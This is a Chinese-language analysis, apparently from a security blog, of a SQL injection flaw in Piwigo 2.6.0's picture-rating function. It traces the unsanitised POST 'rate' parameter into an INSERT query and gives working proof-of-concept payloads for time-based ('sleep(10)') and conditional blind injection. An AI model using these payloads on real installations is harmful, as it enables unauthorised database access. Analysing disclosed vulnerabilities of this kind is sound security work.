Piwigo 2.6.0 SQL Injection 分析

 

 

http://packetstormsecurity.com/files/129088/piwigo260-sql.txt

安装好piwigo2.6.0之后,直接测试,发现不行,跳转到上传页面,在picture.php前几行插入了几个var_dump语句,发现程序并没有走到下面,所以先上传一张图片。再次测试时,发现是对图片的一个评分功能。 简单跟踪一下。

Poc如下,post请求

http://target/piwigo260/picture.php?/1/category/1&action=rate

rate=1 and sleep(10)

查看/picture.php,直接搜索rate, 326行找到

  case 'rate' :

    {

      include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');

      rate_picture($page['image_id'], $_POST['rate']);

      redirect($url_self);

    }

 

包含了另外一个文件,然后调用了rate_picture函数,并且直接传递的post参数。

查看/include/functions_rate.inc.php

function rate_picture($image_id, $rate)

搜索rate参数,对于中间不知道值的变量,我们使用var_dump($aaa);exit();来查看该值,

最终我们在119行,看到$rate拼接到注入语句中,

  $query = '

INSERT

  INTO '.RATE_TABLE.'

  (user_id,anonymous_id,element_id,rate,date)

  VALUES

  ('

    .$user['id'].','

    .'\''.$anonymous_id.'\','

    .$image_id.','

    .$rate

    .',NOW())

;';//var_dump($query);exit();

  pwg_query($query);

 

我们打印该查询语句

INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date) VALUES (2,'192.168.1',1,1 and sleep(10),NOW()) ;

发现我们的语句已经插入到该查询中,insert注入。由于这里没有报错信息,不能使用报错注入的技巧,所有只能盲注了。

一种是像上面那样使用时间盲注,这种比较慢。另外一种会快一些,感兴趣的可以找一找有没有快一点的方法。

http://target/piwigo260/picture.php?/1/category/1&action=rate

rate=1%2b if(1=2,1,4)

http://target/piwigo260/picture.php?/1/category/1&action=rate

rate=1%2b if(1=1,1,4)